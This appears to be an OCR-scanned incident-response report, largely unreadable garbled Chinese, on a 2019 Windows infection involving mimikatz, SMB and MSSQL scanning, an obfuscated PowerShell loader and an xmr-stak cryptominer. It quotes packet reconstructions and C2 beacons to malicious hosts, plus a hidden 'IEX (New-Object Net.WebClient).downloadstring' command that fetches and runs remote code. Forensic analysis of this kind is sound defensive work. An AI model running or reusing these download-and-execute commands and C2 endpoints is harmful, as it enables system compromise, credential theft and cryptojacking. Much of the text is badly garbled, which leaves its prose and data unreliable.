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@.\_) ‘ » EiE ) TEEE(C) » Windows » Temp »

FEENR

mkatz.ini 15 %% 94 3 etk < 2R AL S mimikatz #5448

75 o) Vil

m2.psl KER LT LA P 7 * powershell 3 {7 chfz 34 75 29/55

meyvs.exe ¥ *h =~ & i@ & 445 port £7 1433 port 44/61
¥ 4 m2.psl 5 PowerShell Scripts =4 % > p < B AR o JRP)F R ¥

I A sp & * powershell &3 7 chfg st o
[ 'm2psl - == =

BER REE %‘t[) RV REH)

Invoke-Exprezszion $(New-Object 10.StreanReader ($(New-Object I10.Compression.DeflateStrean (B(New-Object I0.MemorvStrean -
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HusSDz.exe P~ {8 mac address ¥ ¥ v Q6REQ6.exe i& {747 % 41/70

tLAEUCGZ.exe % i 3 SMB > MS SQL # 1 #* Windows # i¥ % st ¢ 42/70
G B4 g S AR 5 o

S89PInBr.exe B~ UUID £ mac address F 3t 41/71

T. WAk 94 A 45 it oh i SUR G > B RT A4 %
(1) meyvs.exe ¢ + B sFp &k BN 14 IP 445 port ¥2 1433 port -
(2) powershell.exe ¢ if 4t = §& 1P:27.102.107.137 -
(3) meyvs.exe ¢ i & % K IP:153.92.4.49 -

(4) Q6REQG.exe ¢ & & = ¥ IP:141.98.213.220 £ 27.102.118.147 -

Process Mame Process [0 Protocol Local Port Local Address Remote Port Remote Address State
Epowershell.exe 6080 TCP 49389 140. g4 20 27.102.107.137 Close Wait
E MEeyvs.exe 4068 TCP 64741 140. g4 80 15392449 Close Wait
Emeyvs.exe 4068 TCP 50089 127.001 50080 127.001 Established
Emeyvs.exe 4068 TCP 50090 127001 50089 127001 Established
EQBREQE.E}(& 3884 TCP 55868 140. .04 443 14198.213.220 Established
LS exe 2636 TCP 49192 =1 49194 =1 Established
FILmMS.exe 2636 TCP 49194 i | 49192 =1 Established
Fmeyvs.exe 4068 TCP 57521 140, 94 445 140, 114 Established
[Fmeyvs.exe 4068 TCP 53924 140, 94 445 140.] 1232 Established
[Fmeyvs.exe 4068 TCP 54002 140, 94 445 140. 135 Established
[ meyus.exe 4068 TCP 54008 140, 94 445 140. 72 Established
[ meyvs.exe 4068 TCP 54261 140, 94 445 140. 19 Established
Process MName ProcessID'  Protocol Local Part Local Address Remote Port Remote Address State
[T1QBREQG.exe 3884 TCP 60295 140, 04 443 27.102.118.147 Established
[T meyvs.exe 4068 TCP 51386 140, 04 445 140 130 Established
[T meyvs.exe 4068 TCP 51642 140, a4 445 140 130 Established
Fmeyvs.exe 4068 TCP 52399 140 94 445 140 130 Established

8. .94 1 B enfpsfit e 44718 5o 4258 meyvs.exe R FPF € < B AR p ~ 0t
& e f IP 2 445port &2 1433 porty F AR E » R0 € AP E 2 K

FRERAN AFELAAS

Time Souree Destination Protocol Length Info
52 6.644945 140. 2.94 140.: 60 SMB 131 Tree Connect AndX Request, Path: \\140.: .6@\public 140.x.x.94Z A140.%x.x.60
53 6.646765 140. 60 140." .94 SMB 107 Tree Connect AndX Response e 382 ol
54 6.912091 140. 2.9 140.° 60 SMB 154 NT Create AndX Reques:, FID: @x2afe, Path: ViFhoNsO.exe it {#3E R VEFhoNsO.exe
55 6.913488 140. " 60 140.1 1.94 SMB 193 NT Create AndX Response, FID: @x2afe
56 7.118468 140. %.94 148.7 60 TCP 60 60979 » 445 [ACK] Seq=1639 Ack=2109 Win=65196 Len=0
57 7.478141 140. 2.94 140.: 60 TCP 1514 60979 » 445 [ACK] Seq=1639 Ack=2109 Win=65196 Len=1460 [TCP segment of a reassembled PDU]
58 7.478151 14@. i.94 140.: 60 TCP 1514 60979 » 445 [ACK] Seq=3099 Ack=2109 Win=65196 Len=1460 [TCP segment of a reassembled PDU]
59 7.478157 140. ®.94 148.: 60 TCP 1514 60979 » 445 [ACK] Seq=4559 Ack=2109 Win=65196 Len=1460 [TCP segment of a reassembled PDU]
60 7.479188 140. = 60 140.1 .94 TCP 60 445 > 60979 [ACK] Seq=2109 Ack=4559 Win=16000 Len=0
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Time Source Destination Frotocol Length Info
143 11.128852 140. .94 140. 60 SMB 131 Tree Connect AndX Request, Path: \\140. -60\public
144 11.130719 140. ] 140. =_94 SMB 107 Tree Connect AndX Response
145 11.416649 140.7088 "HL.94 140. 6@  TCP 60 60979 » 445 [ACK] Seq=58793 Ack=2824 Win=64484 Len=0
146 11.498722 140. =.94 140. 60 SMB 149 Trans2 Request, FIND_FIRST2, Pattern: VtFhoNsO.exe
147 11.501001 149. 1] 140. .94 sSMB 234 Trans2 Response, FIND_FIRST2, Files: ViFhoNsO.exe
148 11.728687 140. .94 140. 6@  TCP 60 60979 » 445 [ACK] Seq=58888 Ack=3004 Win=64304 Len=0
149 11.979679 140. = .94  140. 00 SMB 93 Tree Disconnect Request
150 11.981098 149. = 60 140. =.94 SMB 93 Tree Disconnect Response
151 12.207182 140. .04 140. 60 SMB 131 Tree Connect AndX Request, Path: \\14@.11 -60\public
152 12.208815 140. 60 1409. .94 SMB 187 Tree Connect AndX Response
153 12.415184 140. .94 140. 60 SMB 118 Delete Request, Path: WtFhoNsO.exe
154 12.415877 140. 60 148. .94 SMB 93 Delete Response HHU B,%VchoNsO_exe
155 12.608362 140. .94 140. 60 SMB 93 Tree Disconnect Request
156 12.613149 140. 60 140. m.94 SMB 93 Tree Disconnect Response

94 A enpldrit ¢ A 47 7 4> A25% powershell.exe #4 17 P& € i AL s §E

IP:27.102.107.137/status.json ¥ i# 3 #k A5 f8 > £ i am

http://v.beahh.com/eb?64 = §* & & 42 ;% m2.psl -

RSA Security Analytics Reconstruction for session ID: 237113 ( Source 140. .94 :51380, Target 27.102.107.137 : 80

Time 4/02/ 2!3]01 :05:50 1o 4/02/2019 15:05:54 Packet Size 1,295 h\,[e( Payload Size 565 bytes

GET /status. Json7a11v5&mac 14-DD-A9-D5-FE-OE&av=8version=0.1.70018hi1t=04-hit&f lag
2=Trueddona in=WOREGROUP & se r=TEACHERZ -PCS$&P3=True&ATCPS01d237CERB0 ldR7CRIERRZ0 (New
-OhjectBZ0Net.¥ebClient) dowvaloadstring( 'http://v.beabh .confeh?64 3 HTTP/1.1

Host: 27.102.107.137

Connection: Keep-Alive

HTTP/1.1 200 0K
Server: nrinx/1.10.3 (Uhuntu)
Date: Tue, 02 Apr 2019 07:01:43 GHT

RSA Security Analytics Reconstruction for session ID: 282817 ( Source 140. .94 158207, Target 27.102.107.13
bytes

Time 4/02/2019 15:04:14 to 4/02/2019 15:05:54 Packet Size 7,194 Pay'load Size 6,133 bytes

“GET feb?04 ETTP/I.1
Host: w.beahh.com
Connection: Keep-Alive

HTTP/1.1 200 O

Server: nginx/1.10.3 (Ubuntn)

Date: Tue, 02 Apr 2019 07:00:07 GMT
Content-Twpe: text/plain

Content-Length: 5791

Last-Modified: Mon, 01 Apr 2019 05:49:20 GMT
Connection: keep-alive

ETag: "Scalaf60-169f"

Cache-Control: no-store

hocept-Ranges: bhytes

Invoke -Expression $(New-Object I0.3treanReader (3 (New-Ohject 10.Compression.Defla
tedtrean (FNew-Object 10.MemoryStream (,$([Convert]::FromPBasefd3tring (' 7hOHYExJT]
1InL23Ke 30K0U rX4HShCIBgEv TTREAQTMG I zeaSTE I pRyM pqwqBymYWZV InFLOMTZ28995777 33 3nvwwl
BOSIOTIFF o0 OELPROS e TG fPI0aN =8 B vto gl TG /BT B NP1 1HG

:80)

powershell.exe ~ § i# st g% IP:27.102.107.137 2. ¥ — i fenb

p.beahh.com/upgrade.php % { #7 #4% & 7 o

RSA Security Analytics Reconstruction for session 1D 330013 ( Source 140. .9 0233, Target 27.102.107.137

Time 4/02/ 20]0 I 210:16 to 4/02/2019 15:11:57 Packet Size 1,398 I:n,te< Fayload Size 428 bytes

GET fupgrade php”ver 5p&mac 14 DD 49~ D5 FE UE&re O8p1d=8380&av=dver=06.1.7001&b1 1=
B4-bit HTTP/1.1
Host: p.heahh.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Tne, 02 dpr 2019 07:06:09 GHT

80)
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10. 7£.94 3 s eniplérst e o 478 50> #23% meyvs.exe i@ 4 % § I1P:153.92.4.49

(http://pp.abbny.com/t.php)pF ¢ @i% 3 % 2 f ~mac & ~ IT¥ s Fn. .. 2%

truction for session 1D: 44235 ( Source 140. .94 - 64774, Target 153.92.4.49:80)
Packet Size 1 bytes Payload Size 734 bytes

GET /+.php?ID=TEACHERZ-PCAGYID=1EF&103D -9CDF -C3B6 -68ET - 14DDAYDSFEOEMAC=14 :DD : 49 A
D5:FE:0E&08=W indows%2074B I T=64&CARD=Inte ] (R)BZ0NDAE20G raph 1cs%2044004_T=1554 186605

HTTP/1.1

hecept: /%

bocept-Encoding: gzip, deflate

User-dgent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOWG4; Trident/4.0

s GTBY.5; SLCCZ; .WET CLR 2.0.507Y27; .NET CLR 3.5.30729; NET CLR 3.0.30720; Medi

a Center PC 6.0; NET4.0C; .NET4.0F; InfoPath.3)

Host: pp.abbny.com

Connection: Keep-Alive

HTTP/1.1 200 OF
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 02 Apr 2019 06:30:05 GMT

11. €94 3 {4kt e A 478 50 425 Q6REQ6.exe it R & #&
IP:141.98.213.220 #2 27.102.118.147 & % » #» ~ &7 7 7% » Jap)
Q6REQ6.exe = — B #; #4257 - Q6REQ6.exe & virustotal 8] » 2 & &+ &) 3

2

36/70 > @ 3 % 7 & #4270 Miner * 3 fLef v o

RSA Security Analytics Reconstruction for session ID: 693726 ( Source 140. .94 : 49160, Target 141.98.213.220: 443)

Time 4/02/2019 16:34:19 t0 4/02/2019 16:38:57 Packet Size 5,220 bytes  Payload Size 3,510 bytes
P e e - . - _ .

{"method" =" login","params" :{"login":"x","pass”:"x","rigid":"", "agent" "xnr-stak/2 Pu
0.2/ 1fa46267h Aunknown/win/ovid ia-and -cpu /0" Y, " 1d" i1

("isonrpc " "200", " d " ] "error inn L, "resul et s (" 1d " "abf 25704 - 210k -4519-bh04 -4ed8 R
445bddef"," job" :{"blob" : "0b0bcEbIBceS05790d634334206f debief 37224781 2207492121010 =
daci78e23c7{0cachdddZ21000000009c95416240d781c5Fhfd21 1abdT4c20f24318808747 5 aad40 3
GFd41034973011", " job_id" " 163931 1420156690b0" , "tarzet":"2361a00" ,"alza" :"cn/t", ;
"height":1804076},"extensions" :["algn", "nicehash"], "status" :"0E" }} .

S
3

"ygonrpe" 20", "method " " job", "params" 1 {"hloh" : "0b0bh4bh8ce505d0a24af891ad 7022k
68123d2363170dedf 137de3af 84054267 Th2e 1 TA283f fad0000000b3 1351235764 12295804 ef e Shbf
670253402 14ba95c4%e 10947 ced2c9f 152053918, " job_1d" : "8626747536904300b0" , "target" :
"e2361a00","algo" "endr", "height" 1 1804077 1}
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12.

RSA e(unty Analytlcs Re(onstructlon for session ID: 678955 ( 50ur(e 140. .94 - 49161, Target 27.102.118.147 - 443)

"L 'agent":"xmr-stak/Z2

i : . B
0.2/ 1 fad626Th funknown fwindnvidia - amd cpu/O 3"

{"jsonrpe":"2.0","1d" 1, "error " tnnl ], "result " o {"1d" : " 15497091 -f868 -4daZ -aeTh-ehdd
0af82¢87","job" 1 {"blob" : "0b0bebhB8ee503790d034334206fdebefedTe 24781 2e074F 02121019
daci78e23cTf0cachddd21000000054d82727aci2a0005¢5030 10128917 ZeaVchf48a338efbchhe
feeddecSdach3ll", " job_id" : "890085052513163050", "target" : "=2361a00","algo" :"on/fr",
"height": 1804076, "extensions" ;[ "alzo","nicehash" ], "statns": "0E" }}

mwzoowvmm

WAL 94 2 ¥ F A2V (T2 0 2 R meyvs.exe ¢ = ¢ ipconfig.exe £

netstat.exe i& {7 g port # 45 > 2 (844 7 powershell = % m2.psl » & F 44 {7
S89PInBr.exe * P~1¥ i 4 IP e macaddress » # s # {7 HusSDz.exe % P~{¥

macaddress £ 3, {742 425 Q6REQ6.exe » @ ¥ 473% HusSDz.exe ¢ 4t & 4F #4
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% netstatexe (121960
E powershell EEE (2775)
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ﬁ”f;m.em (ERER)
ﬁém.em (L2
;}{‘é Wi exe (120600

=] EM’EE}L&H.E}E (E380

=) & ooeens (5436)
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getrmac.exe (11160
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Description: Windows &4 RRIZIZF
Company: Microsoft Corporation

Path: C:\Windows\system32\cmd.exe
Command: "C:\Windows\system32\cmd.exe” /c powershell -nop -w hidden -ep bypass -c¢ "IEX (New-Object Net.WebClient).downloadstringChttp: //down.beahh.com/newol.dat?allv 5&mac=14-DD-A9-D5-FE-OE&av
User: NT AUTHORITY\SYSTEM

PID: 7720 Started: 2019/4/2 T4 03:01:43

RSA Security Analytics Reconstruction for session ID: 296896 ( Source 140. 5.94 -51433, Target 128.199.64.236 : 80)

2 bytes Paylmad Size 3,118,272 bytes

GET ."newnl dat7allv5&mac 14 oD- AQ D5- FE OE&av—&ve[smn 6. 1 7601&h1t 64 -hit&f lagl=
Trueddoma in=FOREGROUP&use r=TEACHERZ -PC$&PS=True HTTP/1.1

Host: down.beahh.com

Connection: Keep-Alive

ERBWENAEER ZHRIP

HTTP/1.1 200 QK

Server: nzinx/1.10.3 (Ubnntu)

Date: Tue, 02 Apr 2019 07:01:44 GHT
Content-Type: applicationfoctet-strean
Content-Length: 3117816

Last-Modified: Mon, 01 Apr 2019 09:05:29 GHNT
Connection: keep-alive

ETag: "5cald459-2f02f8"

hocept-Ranges: bytes
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ECALPER- 421]rAhC[, 3111 chh '+ ' C[+121 ] rARC[+47 JrAhC[+611] rARC[+601 ] rARC[+911 ] rARC]
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User Logon

System Started r_ |'-Sﬁ %4: r% 15 J—’_ —E Ij—'

EFEITRFEM

System Shutdown 322 5 = THBERR IR ELF3/2 16:28 L 4RI

User Logoff
Open file or folder

=TEE= i -

@%2019/3/2 L5 08:28:00
[7]2019/3/2 k5 08:16:28
[£7]2019/3/2 L5 08:16:05
[£72019/3/2 L5 08:16:05
[F]2019/3/2 L5 08:16:04
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[]2019/3/2 L5 08:15:46
[17]2019/3/2 L5 08:15:40
[E7]2019/3/2 k5 08:03:35
[£72019/3/2 L5 08:03:34

Open file or folder
Windows Installer Ended
Windows Installer Started
Windows Installer Ended
Software Installation
Windows Installer Started
Windows Installer Ended
Windows Installer Started
User Logon

System Started
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